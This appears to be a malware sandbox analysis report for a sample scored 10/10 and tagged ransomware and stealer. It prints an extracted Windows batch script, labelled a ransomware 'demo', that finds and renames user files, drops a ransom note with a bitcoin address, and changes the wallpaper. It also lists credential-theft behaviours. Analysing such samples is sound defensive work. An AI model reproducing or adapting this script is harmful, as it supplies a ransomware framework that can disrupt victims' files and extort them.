Overview

overview

10

Static

static

1

sample.html

windows10-2004-x64

10

sample.html

windows11-ltsc_2024-x64

3

Sharing

Copy URL Twitter E-mail

General

  • Target
    sample
  • Size 173KB
  • Sample260906-2jt5latfrd
  • SHA256 6224ed34067dd4cd538436f58f28a819248a39271d504cfaab03399d850dae1d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
credential_accessdiscoveryexecutionexploitphishingransomwarespywarestealer

Malware Config

Extracted

Path

  • C:\Users\Admin\Downloads\deepseek_batch_20260906_990c93.bat

Ransom Note
  • @echo off title RANSOMWARE DEMO - EDUCATIONAL color 0C cls :: ======================================== :: PHASE 1: SYSTEM INFO & PREPARATION :: ======================================== echo ========================================= echo 🔓 RANSOMWARE SIMULATION 🔓 echo ========================================= echo. echo This is a DEMONSTRATION only. echo No files are actually encrypted. echo. :: Create ransom note folder mkdir "C:\RANSOM_NOTE" 2>nul mkdir "%USERPROFILE%\Desktop\RANSOM_NOTE" 2>nul :: ======================================== :: PHASE 2: FIND FILES TO "ENCRYPT" :: ======================================== echo [*] Scanning for files... echo. :: List all documents, images, videos, etc. set filelist=%USERPROFILE%\Desktop\filelist.txt echo Files that WOULD be encrypted: > "%filelist%" echo. >> "%filelist%" :: Find documents echo [DOCUMENTS] >> "%filelist%" for /r C:\Users %%i in (*.doc *.docx *.pdf *.txt *.rtf *.xls *.xlsx *.ppt *.pptx *.odt) do ( echo %%i >> "%filelist%" ) :: Find images echo. >> "%filelist%" echo [IMAGES] >> "%filelist%" for /r C:\Users %%i in (*.jpg *.jpeg *.png *.gif *.bmp *.tiff *.ico) do ( echo %%i >> "%filelist%" ) :: Find videos echo. >> "%filelist%" echo [VIDEOS] >> "%filelist%" for /r C:\Users %%i in (*.mp4 *.avi *.mkv *.mov *.wmv *.flv *.webm) do ( echo %%i >> "%filelist%" ) :: Find music echo. >> "%filelist%" echo [MUSIC] >> "%filelist%" for /r C:\Users %%i in (*.mp3 *.wav *.flac *.aac *.ogg *.wma) do ( echo %%i >> "%filelist%" ) :: Find databases echo. >> "%filelist%" echo [DATABASES] >> "%filelist%" for /r C:\ %%i in (*.db *.sql *.sqlite *.mdb *.accdb) do ( echo %%i >> "%filelist%" ) :: Find source code echo. >> "%filelist%" echo [SOURCE CODE] >> "%filelist%" for /r C:\ %%i in (*.py *.js *.html *.css *.cpp *.c *.java *.cs *.php *.rb *.go *.rs) do ( echo %%i >> "%filelist%" ) :: ======================================== :: PHASE 3: SIMULATED ENCRYPTION :: ======================================== echo [*] Processing files (SIMULATED)... echo. echo Creating mock encrypted files... :: For demonstration, we rename files (doesn't actually encrypt) set count=0 for /r C:\Users %%i in (*.doc *.docx *.pdf *.txt *.rtf *.xls *.xlsx *.ppt *.pptx *.odt *.jpg *.jpeg *.png *.gif *.bmp *.mp3 *.mp4 *.avi *.mkv *.db *.sql) do ( set /a count+=1 echo Encrypting: %%~nxi :: This just renames - no real encryption ren "%%i" "%%~ni.ENCRYPTED" 2>nul if errorlevel 1 ( echo [FAILED] %%i ) ) :: ======================================== :: PHASE 4: RANSOM NOTE :: ======================================== echo. echo [*] Creating ransom note... ( echo ============================================================ echo 🔓 YOUR FILES ARE ENCRYPTED 🔓 echo ============================================================ echo. echo ALL your important files have been encrypted. echo. echo This includes: echo - Documents echo - Images/Photos echo - Videos echo - Music echo - Databases echo - Source code echo. echo To decrypt your files, you must pay a ransom of: echo. echo 💰 0.01 BITCOIN (BTC) 💰 echo. echo Payment address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa echo. echo After payment, send your unique ID to [email protected] echo. echo Your unique ID: %RANDOM%-%RANDOM%-%RANDOM% echo. echo WARNING: Do NOT attempt to decrypt files yourself. echo WARNING: Do NOT delete or rename encrypted files. echo WARNING: Do NOT restart your computer. echo. echo You have 24 hours to pay or your files will be permanently deleted. echo. echo ============================================================ ) > "C:\RANSOM_NOTE\README.txt" copy "C:\RANSOM_NOTE\README.txt" "%USERPROFILE%\Desktop\RANSOM_NOTE\README.txt" >nul :: ======================================== :: PHASE 5: WALLPAPER CHANGE (if possible) :: ======================================== :: Try to change wallpaper to ransom note echo [*] Changing wallpaper... powershell -Command " $code = @' using System; using System.Runtime.InteropServices; public class Wallpaper { [DllImport(\"user32.dll\", CharSet = CharSet.Auto)] public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni); public static void Set(string path) { SystemParametersInfo(20, 0, path, 3); } } '@ Add-Type -TypeDefinition $code [Wallpaper]::Set('%USERPROFILE%\Desktop\RANSOM_NOTE\README.txt') " 2>nul :: ======================================== :: PHASE 6: SUMMARY :: ======================================== echo. echo ============================================================ echo ✅ SIMULATION COMPLETE echo ============================================================ echo. echo Files processed: %count% echo Ransom note saved to: C:\RANSOM_NOTE\README.txt echo. echo ⚠️ This is a DEMONSTRATION - No actual encryption occurred. echo ⚠️ The '.ENCRYPTED' files are just renamed originals. echo ⚠️ Rename them back to recover your files. echo. echo ============================================================ echo PRESS ANY KEY TO SIMULATE DECRYPTION... pause >nul :: ======================================== :: PHASE 7: SIMULATED DECRYPTION :: ======================================== echo. echo [*] SIMULATED DECRYPTION... echo. :: Rename files back to original for /r C:\Users %%i in (*.ENCRYPTED) do ( echo Decrypting: %%~nxi ren "%%i" "%%~ni" 2>nul ) :: Delete ransom notes rmdir /s /q "C:\RANSOM_NOTE" 2>nul rmdir /s /q "%USERPROFILE%\Desktop\RANSOM_NOTE" 2>nul echo. echo ✅ Files restored! echo. echo ============================================================ echo 🔓 SIMULATION COMPLETE - FILES RESTORED 🔓 echo ============================================================ pause >nul
Wallets

  • 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa

Targets

    • Target
      sample
    • Size 173KB
    • SHA256 6224ed34067dd4cd538436f58f28a819248a39271d504cfaab03399d850dae1d
    • MD5 SHA1 SHA512 SSDEEP TLSH
    Score
    10/10
    credential_accessdiscoveryexecutionexploitphishingransomwarespywarestealer

    • Possible privilege escalation attempt

      exploit

    • A potential corporate email address has been identified in the URL

      phishing

    • Credentials from Password Stores: Windows Credential Manager

      Suspicious access to Credentials History.

      credential_accessstealer

    • Modifies file permissions

      discovery

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

      spywarestealer
    behavioral1behavioral2

MITRE ATT&CK Enterprise v16

Tasks